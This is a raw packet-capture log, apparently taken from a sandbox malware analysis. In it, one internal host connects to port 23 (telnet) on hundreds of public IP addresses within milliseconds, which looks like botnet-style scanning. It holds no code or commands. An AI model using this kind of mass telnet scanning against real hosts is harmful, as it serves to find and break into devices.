Jan 5, 2025 14:34:51.668395042 CET	29476	23	192.168.2.13	73.252.55.22
Jan 5, 2025 14:34:51.668404102 CET	29476	23	192.168.2.13	32.182.14.14
Jan 5, 2025 14:34:51.668426991 CET	29476	23	192.168.2.13	94.233.129.222
Jan 5, 2025 14:34:51.668427944 CET	29476	23	192.168.2.13	120.36.212.187
Jan 5, 2025 14:34:51.668431044 CET	29476	23	192.168.2.13	111.76.154.241
Jan 5, 2025 14:34:51.668442011 CET	29476	23	192.168.2.13	117.189.137.170
Jan 5, 2025 14:34:51.668445110 CET	29476	23	192.168.2.13	194.127.38.173
Jan 5, 2025 14:34:51.668454885 CET	29476	23	192.168.2.13	113.41.149.223
Jan 5, 2025 14:34:51.668473959 CET	29476	23	192.168.2.13	54.151.148.230
Jan 5, 2025 14:34:51.668474913 CET	29476	23	192.168.2.13	120.230.94.42
Jan 5, 2025 14:34:51.668481112 CET	29476	23	192.168.2.13	190.23.236.58
Jan 5, 2025 14:34:51.668486118 CET	29476	23	192.168.2.13	209.81.35.234
Jan 5, 2025 14:34:51.668497086 CET	29476	23	192.168.2.13	36.169.173.125
Jan 5, 2025 14:34:51.668507099 CET	29476	23	192.168.2.13	82.15.196.237
Jan 5, 2025 14:34:51.668509960 CET	29476	23	192.168.2.13	200.73.93.234
Jan 5, 2025 14:34:51.668509960 CET	29476	23	192.168.2.13	13.28.166.241
Jan 5, 2025 14:34:51.668510914 CET	29476	23	192.168.2.13	63.219.118.66
Jan 5, 2025 14:34:51.668524027 CET	29476	23	192.168.2.13	68.22.99.22
Jan 5, 2025 14:34:51.668526888 CET	29476	23	192.168.2.13	98.59.71.118
Jan 5, 2025 14:34:51.668526888 CET	29476	23	192.168.2.13	59.230.124.142
Jan 5, 2025 14:34:51.668539047 CET	29476	23	192.168.2.13	80.49.46.94
Jan 5, 2025 14:34:51.668549061 CET	29476	23	192.168.2.13	190.132.9.202
Jan 5, 2025 14:34:51.668555021 CET	29476	23	192.168.2.13	217.126.217.55
Jan 5, 2025 14:34:51.668556929 CET	29476	23	192.168.2.13	37.157.173.194
Jan 5, 2025 14:34:51.668559074 CET	29476	23	192.168.2.13	97.132.214.206
Jan 5, 2025 14:34:51.668561935 CET	29476	23	192.168.2.13	160.140.64.64
Jan 5, 2025 14:34:51.668562889 CET	29476	23	192.168.2.13	138.37.144.174
Jan 5, 2025 14:34:51.668571949 CET	29476	23	192.168.2.13	32.68.45.4
Jan 5, 2025 14:34:51.668579102 CET	29476	23	192.168.2.13	122.239.5.161
Jan 5, 2025 14:34:51.668584108 CET	29476	23	192.168.2.13	172.78.33.163
Jan 5, 2025 14:34:51.668589115 CET	29476	23	192.168.2.13	41.173.223.103
Jan 5, 2025 14:34:51.668592930 CET	29476	23	192.168.2.13	76.168.196.195
Jan 5, 2025 14:34:51.668611050 CET	29476	23	192.168.2.13	164.194.208.36
Jan 5, 2025 14:34:51.668612003 CET	29476	23	192.168.2.13	91.4.235.179
Jan 5, 2025 14:34:51.668617964 CET	29476	23	192.168.2.13	27.244.101.15
Jan 5, 2025 14:34:51.668627024 CET	29476	23	192.168.2.13	167.189.171.112
Jan 5, 2025 14:34:51.668629885 CET	29476	23	192.168.2.13	50.88.192.235
Jan 5, 2025 14:34:51.668634892 CET	29476	23	192.168.2.13	162.252.222.139
Jan 5, 2025 14:34:51.668651104 CET	29476	23	192.168.2.13	220.23.45.132
Jan 5, 2025 14:34:51.668653011 CET	29476	23	192.168.2.13	32.237.71.43
Jan 5, 2025 14:34:51.668653011 CET	29476	23	192.168.2.13	86.163.239.88
Jan 5, 2025 14:34:51.668665886 CET	29476	23	192.168.2.13	201.248.250.13
Jan 5, 2025 14:34:51.668669939 CET	29476	23	192.168.2.13	143.174.7.26
Jan 5, 2025 14:34:51.668688059 CET	29476	23	192.168.2.13	222.224.156.183
Jan 5, 2025 14:34:51.668688059 CET	29476	23	192.168.2.13	194.199.110.239
Jan 5, 2025 14:34:51.668688059 CET	29476	23	192.168.2.13	155.53.178.1
Jan 5, 2025 14:34:51.668697119 CET	29476	23	192.168.2.13	86.236.125.24
Jan 5, 2025 14:34:51.668708086 CET	29476	23	192.168.2.13	46.119.77.21
Jan 5, 2025 14:34:51.668709040 CET	29476	23	192.168.2.13	203.140.232.192
Jan 5, 2025 14:34:51.668720961 CET	29476	23	192.168.2.13	169.156.159.39
Jan 5, 2025 14:34:51.668724060 CET	29476	23	192.168.2.13	121.72.237.146
Jan 5, 2025 14:34:51.668734074 CET	29476	23	192.168.2.13	192.53.148.109
Jan 5, 2025 14:34:51.668735981 CET	29476	23	192.168.2.13	138.188.142.187
Jan 5, 2025 14:34:51.668747902 CET	29476	23	192.168.2.13	71.82.255.36
Jan 5, 2025 14:34:51.668750048 CET	29476	23	192.168.2.13	194.230.240.187
Jan 5, 2025 14:34:51.668759108 CET	29476	23	192.168.2.13	78.241.234.253
Jan 5, 2025 14:34:51.668761969 CET	29476	23	192.168.2.13	151.158.125.186
Jan 5, 2025 14:34:51.668767929 CET	29476	23	192.168.2.13	210.77.182.35
Jan 5, 2025 14:34:51.668771982 CET	29476	23	192.168.2.13	195.10.30.101
Jan 5, 2025 14:34:51.668791056 CET	29476	23	192.168.2.13	76.186.174.152
Jan 5, 2025 14:34:51.668792963 CET	29476	23	192.168.2.13	147.63.37.234
Jan 5, 2025 14:34:51.668793917 CET	29476	23	192.168.2.13	184.205.148.51
Jan 5, 2025 14:34:51.668797016 CET	29476	23	192.168.2.13	82.1.247.149
Jan 5, 2025 14:34:51.668802023 CET	29476	23	192.168.2.13	112.7.14.7
Jan 5, 2025 14:34:51.668803930 CET	29476	23	192.168.2.13	212.35.195.23
Jan 5, 2025 14:34:51.668809891 CET	29476	23	192.168.2.13	203.13.241.185
Jan 5, 2025 14:34:51.668827057 CET	29476	23	192.168.2.13	115.251.163.218
Jan 5, 2025 14:34:51.668828964 CET	29476	23	192.168.2.13	139.73.218.184
Jan 5, 2025 14:34:51.668839931 CET	29476	23	192.168.2.13	183.23.143.107
Jan 5, 2025 14:34:51.668849945 CET	29476	23	192.168.2.13	72.117.64.219
Jan 5, 2025 14:34:51.668854952 CET	29476	23	192.168.2.13	176.64.143.233
Jan 5, 2025 14:34:51.668857098 CET	29476	23	192.168.2.13	192.79.130.246
Jan 5, 2025 14:34:51.668857098 CET	29476	23	192.168.2.13	180.213.56.52
Jan 5, 2025 14:34:51.668867111 CET	29476	23	192.168.2.13	83.250.161.151
Jan 5, 2025 14:34:51.668869019 CET	29476	23	192.168.2.13	86.121.217.223
Jan 5, 2025 14:34:51.668875933 CET	29476	23	192.168.2.13	70.200.213.54
Jan 5, 2025 14:34:51.668889999 CET	29476	23	192.168.2.13	98.81.31.158
Jan 5, 2025 14:34:51.668893099 CET	29476	23	192.168.2.13	123.98.25.248
Jan 5, 2025 14:34:51.668894053 CET	29476	23	192.168.2.13	92.25.106.210
Jan 5, 2025 14:34:51.668910980 CET	29476	23	192.168.2.13	12.20.241.68
Jan 5, 2025 14:34:51.668914080 CET	29476	23	192.168.2.13	44.194.205.103
Jan 5, 2025 14:34:51.668915033 CET	29476	23	192.168.2.13	64.160.194.27
Jan 5, 2025 14:34:51.668917894 CET	29476	23	192.168.2.13	23.203.93.158
Jan 5, 2025 14:34:51.668921947 CET	29476	23	192.168.2.13	220.148.198.38
Jan 5, 2025 14:34:51.669552088 CET	29476	23	192.168.2.13	9.86.171.161
Jan 5, 2025 14:34:51.669552088 CET	29476	23	192.168.2.13	49.100.164.248
Jan 5, 2025 14:34:51.669553041 CET	29476	23	192.168.2.13	123.172.210.132
Jan 5, 2025 14:34:51.669553041 CET	29476	23	192.168.2.13	88.149.66.122
Jan 5, 2025 14:34:51.669563055 CET	29476	23	192.168.2.13	60.216.80.239
Jan 5, 2025 14:34:51.669579029 CET	29476	23	192.168.2.13	216.22.212.79
Jan 5, 2025 14:34:51.669579029 CET	29476	23	192.168.2.13	182.229.148.36
Jan 5, 2025 14:34:51.669581890 CET	29476	23	192.168.2.13	179.234.96.20
Jan 5, 2025 14:34:51.669594049 CET	29476	23	192.168.2.13	223.157.122.150
Jan 5, 2025 14:34:51.669595003 CET	29476	23	192.168.2.13	47.130.110.105
Jan 5, 2025 14:34:51.669606924 CET	29476	23	192.168.2.13	140.198.9.42
Jan 5, 2025 14:34:51.669612885 CET	29476	23	192.168.2.13	172.193.234.126
Jan 5, 2025 14:34:51.669668913 CET	29476	23	192.168.2.13	219.133.106.20
Jan 5, 2025 14:34:51.669670105 CET	29476	23	192.168.2.13	38.241.49.131
Jan 5, 2025 14:34:51.669668913 CET	29476	23	192.168.2.13	163.64.136.160
Jan 5, 2025 14:34:51.669670105 CET	29476	23	192.168.2.13	70.186.57.228
Jan 5, 2025 14:34:51.669670105 CET	29476	23	192.168.2.13	189.64.130.15
Jan 5, 2025 14:34:51.669672012 CET	29476	23	192.168.2.13	184.121.201.221
Jan 5, 2025 14:34:51.669673920 CET	29476	23	192.168.2.13	115.80.61.173
Jan 5, 2025 14:34:51.669673920 CET	29476	23	192.168.2.13	101.46.235.252
Jan 5, 2025 14:34:51.669673920 CET	29476	23	192.168.2.13	41.244.10.237
Jan 5, 2025 14:34:51.669677019 CET	29476	23	192.168.2.13	202.20.44.139
Jan 5, 2025 14:34:51.669704914 CET	29476	23	192.168.2.13	200.6.52.177
Jan 5, 2025 14:34:51.669718981 CET	29476	23	192.168.2.13	87.129.172.193
Jan 5, 2025 14:34:51.669718981 CET	29476	23	192.168.2.13	167.7.161.174
Jan 5, 2025 14:34:51.669718981 CET	29476	23	192.168.2.13	158.240.40.225
Jan 5, 2025 14:34:51.669720888 CET	29476	23	192.168.2.13	37.24.121.198
Jan 5, 2025 14:34:51.669720888 CET	29476	23	192.168.2.13	122.124.37.210
Jan 5, 2025 14:34:51.669734955 CET	29476	23	192.168.2.13	37.57.220.199
Jan 5, 2025 14:34:51.669739008 CET	29476	23	192.168.2.13	159.213.60.209
Jan 5, 2025 14:34:51.669739008 CET	29476	23	192.168.2.13	17.248.8.195
Jan 5, 2025 14:34:51.669740915 CET	29476	23	192.168.2.13	14.233.9.42
Jan 5, 2025 14:34:51.669740915 CET	29476	23	192.168.2.13	39.129.165.186
Jan 5, 2025 14:34:51.669740915 CET	29476	23	192.168.2.13	12.198.241.161
Jan 5, 2025 14:34:51.669743061 CET	29476	23	192.168.2.13	130.131.220.40
Jan 5, 2025 14:34:51.669743061 CET	29476	23	192.168.2.13	61.156.17.167
Jan 5, 2025 14:34:51.669739008 CET	29476	23	192.168.2.13	63.155.153.203
Jan 5, 2025 14:34:51.669744015 CET	29476	23	192.168.2.13	17.73.218.228
Jan 5, 2025 14:34:51.669739008 CET	29476	23	192.168.2.13	43.27.37.160
Jan 5, 2025 14:34:51.669743061 CET	29476	23	192.168.2.13	37.150.219.125
Jan 5, 2025 14:34:51.669744015 CET	29476	23	192.168.2.13	2.61.158.185
Jan 5, 2025 14:34:51.669744968 CET	29476	23	192.168.2.13	162.25.230.192
Jan 5, 2025 14:34:51.669744015 CET	29476	23	192.168.2.13	92.166.58.127
Jan 5, 2025 14:34:51.669745922 CET	29476	23	192.168.2.13	118.128.117.77
Jan 5, 2025 14:34:51.669739008 CET	29476	23	192.168.2.13	9.251.90.185
Jan 5, 2025 14:34:51.669755936 CET	29476	23	192.168.2.13	13.218.0.197
Jan 5, 2025 14:34:51.669739008 CET	29476	23	192.168.2.13	181.106.175.50
Jan 5, 2025 14:34:51.669744015 CET	29476	23	192.168.2.13	132.8.132.89
Jan 5, 2025 14:34:51.669770956 CET	29476	23	192.168.2.13	199.29.155.87
Jan 5, 2025 14:34:51.669770956 CET	29476	23	192.168.2.13	52.98.119.244
Jan 5, 2025 14:34:51.669797897 CET	29476	23	192.168.2.13	40.74.111.71
Jan 5, 2025 14:34:51.669799089 CET	29476	23	192.168.2.13	115.66.34.254
Jan 5, 2025 14:34:51.669799089 CET	29476	23	192.168.2.13	196.26.160.163
Jan 5, 2025 14:34:51.669799089 CET	29476	23	192.168.2.13	39.137.239.138
Jan 5, 2025 14:34:51.669800043 CET	29476	23	192.168.2.13	45.216.63.128
Jan 5, 2025 14:34:51.669799089 CET	29476	23	192.168.2.13	211.188.61.31
Jan 5, 2025 14:34:51.669800043 CET	29476	23	192.168.2.13	60.227.196.185
Jan 5, 2025 14:34:51.669800043 CET	29476	23	192.168.2.13	48.188.32.125
Jan 5, 2025 14:34:51.669801950 CET	29476	23	192.168.2.13	147.165.36.189
Jan 5, 2025 14:34:51.669801950 CET	29476	23	192.168.2.13	107.186.213.250
Jan 5, 2025 14:34:51.669802904 CET	29476	23	192.168.2.13	177.229.240.144
Jan 5, 2025 14:34:51.669802904 CET	29476	23	192.168.2.13	2.93.20.240
Jan 5, 2025 14:34:51.669802904 CET	29476	23	192.168.2.13	134.219.109.207
Jan 5, 2025 14:34:51.669802904 CET	29476	23	192.168.2.13	132.237.60.115
Jan 5, 2025 14:34:51.669819117 CET	29476	23	192.168.2.13	31.63.163.75
Jan 5, 2025 14:34:51.669819117 CET	29476	23	192.168.2.13	104.141.74.208
Jan 5, 2025 14:34:51.669821024 CET	29476	23	192.168.2.13	59.82.157.97
Jan 5, 2025 14:34:51.669825077 CET	29476	23	192.168.2.13	185.61.109.215
Jan 5, 2025 14:34:51.669831991 CET	29476	23	192.168.2.13	13.239.93.95
Jan 5, 2025 14:34:51.669831991 CET	29476	23	192.168.2.13	135.110.132.219
Jan 5, 2025 14:34:51.669831991 CET	29476	23	192.168.2.13	154.85.202.101
Jan 5, 2025 14:34:51.669831991 CET	29476	23	192.168.2.13	187.129.58.5
Jan 5, 2025 14:34:51.669831991 CET	29476	23	192.168.2.13	93.230.153.145
Jan 5, 2025 14:34:51.669837952 CET	29476	23	192.168.2.13	203.188.60.17
Jan 5, 2025 14:34:51.669841051 CET	29476	23	192.168.2.13	217.164.11.231
Jan 5, 2025 14:34:51.669841051 CET	29476	23	192.168.2.13	123.11.25.163
Jan 5, 2025 14:34:51.669841051 CET	29476	23	192.168.2.13	44.15.148.20
Jan 5, 2025 14:34:51.669842958 CET	29476	23	192.168.2.13	194.251.116.216
Jan 5, 2025 14:34:51.669842958 CET	29476	23	192.168.2.13	118.162.29.91
Jan 5, 2025 14:34:51.669864893 CET	29476	23	192.168.2.13	54.149.2.19
Jan 5, 2025 14:34:51.669881105 CET	29476	23	192.168.2.13	95.184.228.234
Jan 5, 2025 14:34:51.669882059 CET	29476	23	192.168.2.13	171.58.251.219
Jan 5, 2025 14:34:51.669882059 CET	29476	23	192.168.2.13	83.60.98.50
Jan 5, 2025 14:34:51.669882059 CET	29476	23	192.168.2.13	136.251.237.126
Jan 5, 2025 14:34:51.669883966 CET	29476	23	192.168.2.13	171.208.169.247
Jan 5, 2025 14:34:51.669883966 CET	29476	23	192.168.2.13	73.133.131.197
Jan 5, 2025 14:34:51.669883966 CET	29476	23	192.168.2.13	155.40.223.68
Jan 5, 2025 14:34:51.669894934 CET	29476	23	192.168.2.13	110.132.185.139
Jan 5, 2025 14:34:51.669894934 CET	29476	23	192.168.2.13	27.214.183.243
Jan 5, 2025 14:34:51.669894934 CET	29476	23	192.168.2.13	52.78.19.247
Jan 5, 2025 14:34:51.669897079 CET	29476	23	192.168.2.13	147.182.250.242
Jan 5, 2025 14:34:51.669897079 CET	29476	23	192.168.2.13	4.113.192.203
Jan 5, 2025 14:34:51.669899940 CET	29476	23	192.168.2.13	114.155.76.186
Jan 5, 2025 14:34:51.669899940 CET	29476	23	192.168.2.13	58.199.229.157
Jan 5, 2025 14:34:51.669902086 CET	29476	23	192.168.2.13	31.10.244.175
Jan 5, 2025 14:34:51.669902086 CET	29476	23	192.168.2.13	184.75.65.167
Jan 5, 2025 14:34:51.669903040 CET	29476	23	192.168.2.13	221.224.41.91
Jan 5, 2025 14:34:51.669902086 CET	29476	23	192.168.2.13	91.79.96.197
Jan 5, 2025 14:34:51.669903040 CET	29476	23	192.168.2.13	207.163.50.58
Jan 5, 2025 14:34:51.669902086 CET	29476	23	192.168.2.13	8.7.213.105
Jan 5, 2025 14:34:51.669902086 CET	29476	23	192.168.2.13	130.221.134.108
Jan 5, 2025 14:34:51.669904947 CET	29476	23	192.168.2.13	107.143.113.48
Jan 5, 2025 14:34:51.669905901 CET	29476	23	192.168.2.13	194.110.153.185
Jan 5, 2025 14:34:51.669913054 CET	29476	23	192.168.2.13	54.96.214.175
Jan 5, 2025 14:34:51.669913054 CET	29476	23	192.168.2.13	40.9.7.189
Jan 5, 2025 14:34:51.669913054 CET	29476	23	192.168.2.13	43.244.72.201
Jan 5, 2025 14:34:51.669913054 CET	29476	23	192.168.2.13	92.251.124.11
Jan 5, 2025 14:34:51.669913054 CET	29476	23	192.168.2.13	174.79.133.83
Jan 5, 2025 14:34:51.669949055 CET	29476	23	192.168.2.13	160.197.116.46
Jan 5, 2025 14:34:51.669949055 CET	29476	23	192.168.2.13	149.119.120.188
Jan 5, 2025 14:34:51.669955969 CET	29476	23	192.168.2.13	219.250.104.145
Jan 5, 2025 14:34:51.669956923 CET	29476	23	192.168.2.13	25.61.124.154
Jan 5, 2025 14:34:51.669961929 CET	29476	23	192.168.2.13	166.1.111.113
Jan 5, 2025 14:34:51.669964075 CET	29476	23	192.168.2.13	161.205.209.107
Jan 5, 2025 14:34:51.669964075 CET	29476	23	192.168.2.13	77.231.74.108
Jan 5, 2025 14:34:51.669971943 CET	29476	23	192.168.2.13	178.150.78.239
Jan 5, 2025 14:34:51.669971943 CET	29476	23	192.168.2.13	174.107.192.47
Jan 5, 2025 14:34:51.669971943 CET	29476	23	192.168.2.13	170.118.0.203
Jan 5, 2025 14:34:51.669971943 CET	29476	23	192.168.2.13	116.9.229.58
Jan 5, 2025 14:34:51.669977903 CET	23	29476	83.35.249.211	192.168.2.13
Jan 5, 2025 14:34:51.669992924 CET	23	29476	2.152.67.210	192.168.2.13
Jan 5, 2025 14:34:51.670002937 CET	23	29476	148.18.74.211	192.168.2.13
Jan 5, 2025 14:34:51.670011997 CET	23	29476	218.190.219.79	192.168.2.13
Jan 5, 2025 14:34:51.670022011 CET	23	29476	151.167.86.164	192.168.2.13
Jan 5, 2025 14:34:51.670025110 CET	29476	23	192.168.2.13	83.35.249.211
Jan 5, 2025 14:34:51.670031071 CET	23	29476	61.24.150.47	192.168.2.13
Jan 5, 2025 14:34:51.670038939 CET	29476	23	192.168.2.13	218.190.219.79
Jan 5, 2025 14:34:51.670039892 CET	29476	23	192.168.2.13	2.152.67.210
Jan 5, 2025 14:34:51.670042038 CET	23	29476	178.148.48.168	192.168.2.13
Jan 5, 2025 14:34:51.670046091 CET	29476	23	192.168.2.13	148.18.74.211
Jan 5, 2025 14:34:51.670052052 CET	23	29476	124.30.231.141	192.168.2.13
Jan 5, 2025 14:34:51.670061111 CET	23	29476	108.54.252.117	192.168.2.13
Jan 5, 2025 14:34:51.670077085 CET	29476	23	192.168.2.13	151.167.86.164
Jan 5, 2025 14:34:51.670083046 CET	29476	23	192.168.2.13	124.30.231.141
Jan 5, 2025 14:34:51.670084000 CET	29476	23	192.168.2.13	61.24.150.47
Jan 5, 2025 14:34:51.670142889 CET	29476	23	192.168.2.13	178.148.48.168
Jan 5, 2025 14:34:51.670142889 CET	29476	23	192.168.2.13	108.54.252.117
Jan 5, 2025 14:34:51.670300961 CET	23	29476	116.6.67.71	192.168.2.13
Jan 5, 2025 14:34:51.670312881 CET	23	29476	210.132.41.207	192.168.2.13
Jan 5, 2025 14:34:51.670321941 CET	23	29476	20.136.18.142	192.168.2.13
Jan 5, 2025 14:34:51.670331955 CET	23	29476	190.127.212.84	192.168.2.13
Jan 5, 2025 14:34:51.670341969 CET	23	29476	199.102.116.109	192.168.2.13
Jan 5, 2025 14:34:51.670350075 CET	29476	23	192.168.2.13	116.6.67.71
Jan 5, 2025 14:34:51.670351028 CET	23	29476	103.102.48.33	192.168.2.13
Jan 5, 2025 14:34:51.670360088 CET	23	29476	9.159.71.35	192.168.2.13
Jan 5, 2025 14:34:51.670370102 CET	23	29476	212.199.188.122	192.168.2.13
Jan 5, 2025 14:34:51.670378923 CET	23	29476	196.85.151.212	192.168.2.13
Jan 5, 2025 14:34:51.670387983 CET	23	29476	77.212.251.73	192.168.2.13
Jan 5, 2025 14:34:51.670397997 CET	23	29476	193.138.201.14	192.168.2.13
Jan 5, 2025 14:34:51.670407057 CET	23	29476	23.252.32.13	192.168.2.13
Jan 5, 2025 14:34:51.670417070 CET	23	29476	172.137.92.232	192.168.2.13
Jan 5, 2025 14:34:51.670425892 CET	23	29476	84.96.230.45	192.168.2.13
Jan 5, 2025 14:34:51.670434952 CET	23	29476	161.107.126.215	192.168.2.13
Jan 5, 2025 14:34:51.670437098 CET	29476	23	192.168.2.13	190.127.212.84
Jan 5, 2025 14:34:51.670437098 CET	29476	23	192.168.2.13	210.132.41.207
Jan 5, 2025 14:34:51.670437098 CET	29476	23	192.168.2.13	199.102.116.109
Jan 5, 2025 14:34:51.670444965 CET	23	29476	159.228.21.229	192.168.2.13
Jan 5, 2025 14:34:51.670455933 CET	23	29476	117.41.8.6	192.168.2.13
Jan 5, 2025 14:34:51.670456886 CET	29476	23	192.168.2.13	9.159.71.35
Jan 5, 2025 14:34:51.670466900 CET	29476	23	192.168.2.13	193.138.201.14
Jan 5, 2025 14:34:51.670466900 CET	29476	23	192.168.2.13	23.252.32.13
Jan 5, 2025 14:34:51.670466900 CET	29476	23	192.168.2.13	103.102.48.33
Jan 5, 2025 14:34:51.670469046 CET	29476	23	192.168.2.13	212.199.188.122
Jan 5, 2025 14:34:51.670469046 CET	29476	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:51.670471907 CET	23	29476	89.187.214.24	192.168.2.13
Jan 5, 2025 14:34:51.670473099 CET	29476	23	192.168.2.13	77.212.251.73
Jan 5, 2025 14:34:51.670483112 CET	23	29476	165.27.223.215	192.168.2.13
Jan 5, 2025 14:34:51.670486927 CET	29476	23	192.168.2.13	20.136.18.142
Jan 5, 2025 14:34:51.670486927 CET	29476	23	192.168.2.13	159.228.21.229
Jan 5, 2025 14:34:51.670491934 CET	29476	23	192.168.2.13	84.96.230.45
Jan 5, 2025 14:34:51.670492887 CET	29476	23	192.168.2.13	172.137.92.232
Jan 5, 2025 14:34:51.670492887 CET	29476	23	192.168.2.13	117.41.8.6
Jan 5, 2025 14:34:51.670492887 CET	29476	23	192.168.2.13	161.107.126.215
Jan 5, 2025 14:34:51.670506001 CET	29476	23	192.168.2.13	89.187.214.24
Jan 5, 2025 14:34:51.670516014 CET	29476	23	192.168.2.13	165.27.223.215
Jan 5, 2025 14:34:51.670584917 CET	23	29476	42.206.9.68	192.168.2.13
Jan 5, 2025 14:34:51.670602083 CET	23	29476	180.236.235.37	192.168.2.13
Jan 5, 2025 14:34:51.670610905 CET	23	29476	189.210.252.131	192.168.2.13
Jan 5, 2025 14:34:51.670619011 CET	23	29476	94.239.228.202	192.168.2.13
Jan 5, 2025 14:34:51.670629025 CET	23	29476	176.62.17.197	192.168.2.13
Jan 5, 2025 14:34:51.670636892 CET	29476	23	192.168.2.13	42.206.9.68
Jan 5, 2025 14:34:51.670639038 CET	23	29476	174.99.165.96	192.168.2.13
Jan 5, 2025 14:34:51.670639038 CET	29476	23	192.168.2.13	180.236.235.37
Jan 5, 2025 14:34:51.670639992 CET	29476	23	192.168.2.13	189.210.252.131
Jan 5, 2025 14:34:51.670639992 CET	29476	23	192.168.2.13	94.239.228.202
Jan 5, 2025 14:34:51.670650959 CET	23	29476	216.73.220.29	192.168.2.13
Jan 5, 2025 14:34:51.670665026 CET	23	29476	137.133.61.92	192.168.2.13
Jan 5, 2025 14:34:51.670669079 CET	29476	23	192.168.2.13	176.62.17.197
Jan 5, 2025 14:34:51.670674086 CET	23	29476	116.62.184.45	192.168.2.13
Jan 5, 2025 14:34:51.670679092 CET	29476	23	192.168.2.13	174.99.165.96
Jan 5, 2025 14:34:51.670681953 CET	23	29476	124.249.59.186	192.168.2.13
Jan 5, 2025 14:34:51.670692921 CET	23	29476	88.49.37.108	192.168.2.13
Jan 5, 2025 14:34:51.670702934 CET	23	29476	70.6.210.210	192.168.2.13
Jan 5, 2025 14:34:51.670712948 CET	23	29476	95.137.136.0	192.168.2.13
Jan 5, 2025 14:34:51.670717001 CET	29476	23	192.168.2.13	124.249.59.186
Jan 5, 2025 14:34:51.670720100 CET	29476	23	192.168.2.13	116.62.184.45
Jan 5, 2025 14:34:51.670722961 CET	23	29476	69.102.43.202	192.168.2.13
Jan 5, 2025 14:34:51.670730114 CET	29476	23	192.168.2.13	88.49.37.108
Jan 5, 2025 14:34:51.670731068 CET	29476	23	192.168.2.13	137.133.61.92
Jan 5, 2025 14:34:51.670732021 CET	29476	23	192.168.2.13	216.73.220.29
Jan 5, 2025 14:34:51.670732975 CET	23	29476	71.72.102.221	192.168.2.13
Jan 5, 2025 14:34:51.670743942 CET	23	29476	65.6.171.137	192.168.2.13
Jan 5, 2025 14:34:51.670752048 CET	23	29476	164.163.92.248	192.168.2.13
Jan 5, 2025 14:34:51.670756102 CET	29476	23	192.168.2.13	70.6.210.210
Jan 5, 2025 14:34:51.670761108 CET	23	29476	209.167.167.43	192.168.2.13
Jan 5, 2025 14:34:51.670770884 CET	23	29476	120.177.111.158	192.168.2.13
Jan 5, 2025 14:34:51.670782089 CET	23	29476	84.160.137.155	192.168.2.13
Jan 5, 2025 14:34:51.670789957 CET	29476	23	192.168.2.13	209.167.167.43
Jan 5, 2025 14:34:51.670790911 CET	23	29476	141.166.199.240	192.168.2.13
Jan 5, 2025 14:34:51.670793056 CET	29476	23	192.168.2.13	164.163.92.248
Jan 5, 2025 14:34:51.670794964 CET	29476	23	192.168.2.13	95.137.136.0
Jan 5, 2025 14:34:51.670794964 CET	29476	23	192.168.2.13	65.6.171.137
Jan 5, 2025 14:34:51.670799971 CET	23	29476	113.1.234.68	192.168.2.13
Jan 5, 2025 14:34:51.670809031 CET	23	29476	157.159.238.248	192.168.2.13
Jan 5, 2025 14:34:51.670810938 CET	29476	23	192.168.2.13	71.72.102.221
Jan 5, 2025 14:34:51.670819044 CET	23	29476	18.35.143.196	192.168.2.13
Jan 5, 2025 14:34:51.670820951 CET	29476	23	192.168.2.13	69.102.43.202
Jan 5, 2025 14:34:51.670821905 CET	29476	23	192.168.2.13	84.160.137.155
Jan 5, 2025 14:34:51.670828104 CET	23	29476	136.222.253.62	192.168.2.13
Jan 5, 2025 14:34:51.670836926 CET	23	29476	223.130.156.254	192.168.2.13
Jan 5, 2025 14:34:51.670840025 CET	29476	23	192.168.2.13	120.177.111.158
Jan 5, 2025 14:34:51.670845985 CET	23	29476	188.42.65.65	192.168.2.13
Jan 5, 2025 14:34:51.670849085 CET	29476	23	192.168.2.13	113.1.234.68
Jan 5, 2025 14:34:51.670850992 CET	29476	23	192.168.2.13	18.35.143.196
Jan 5, 2025 14:34:51.670855045 CET	23	29476	119.98.226.210	192.168.2.13
Jan 5, 2025 14:34:51.670872927 CET	29476	23	192.168.2.13	141.166.199.240
Jan 5, 2025 14:34:51.670905113 CET	29476	23	192.168.2.13	157.159.238.248
Jan 5, 2025 14:34:51.670905113 CET	29476	23	192.168.2.13	119.98.226.210
Jan 5, 2025 14:34:51.670905113 CET	29476	23	192.168.2.13	136.222.253.62
Jan 5, 2025 14:34:51.670908928 CET	29476	23	192.168.2.13	223.130.156.254
Jan 5, 2025 14:34:51.670908928 CET	29476	23	192.168.2.13	188.42.65.65
Jan 5, 2025 14:34:51.670913935 CET	23	29476	69.238.78.79	192.168.2.13
Jan 5, 2025 14:34:51.670924902 CET	23	29476	84.19.213.225	192.168.2.13
Jan 5, 2025 14:34:51.670934916 CET	23	29476	136.77.55.253	192.168.2.13
Jan 5, 2025 14:34:51.670943975 CET	23	29476	191.166.58.189	192.168.2.13
Jan 5, 2025 14:34:51.670953035 CET	23	29476	17.135.91.220	192.168.2.13
Jan 5, 2025 14:34:51.670954943 CET	29476	23	192.168.2.13	69.238.78.79
Jan 5, 2025 14:34:51.670962095 CET	23	29476	82.114.48.162	192.168.2.13
Jan 5, 2025 14:34:51.670964003 CET	29476	23	192.168.2.13	84.19.213.225
Jan 5, 2025 14:34:51.670964003 CET	29476	23	192.168.2.13	136.77.55.253
Jan 5, 2025 14:34:51.670973063 CET	23	29476	207.216.222.43	192.168.2.13
Jan 5, 2025 14:34:51.670974016 CET	29476	23	192.168.2.13	191.166.58.189
Jan 5, 2025 14:34:51.670979023 CET	29476	23	192.168.2.13	17.135.91.220
Jan 5, 2025 14:34:51.670983076 CET	23	29476	70.133.137.245	192.168.2.13
Jan 5, 2025 14:34:51.670993090 CET	23	29476	69.53.157.205	192.168.2.13
Jan 5, 2025 14:34:51.671001911 CET	23	29476	35.234.113.178	192.168.2.13
Jan 5, 2025 14:34:51.671010971 CET	23	29476	67.124.151.66	192.168.2.13
Jan 5, 2025 14:34:51.671020031 CET	23	29476	160.55.88.43	192.168.2.13
Jan 5, 2025 14:34:51.671030045 CET	23	29476	204.126.194.150	192.168.2.13
Jan 5, 2025 14:34:51.671039104 CET	23	29476	36.216.206.89	192.168.2.13
Jan 5, 2025 14:34:51.671046972 CET	23	29476	138.36.223.72	192.168.2.13
Jan 5, 2025 14:34:51.671056032 CET	23	29476	110.23.108.178	192.168.2.13
Jan 5, 2025 14:34:51.671065092 CET	23	29476	70.17.146.154	192.168.2.13
Jan 5, 2025 14:34:51.671066046 CET	29476	23	192.168.2.13	70.133.137.245
Jan 5, 2025 14:34:51.671066999 CET	29476	23	192.168.2.13	82.114.48.162
Jan 5, 2025 14:34:51.671066999 CET	29476	23	192.168.2.13	207.216.222.43
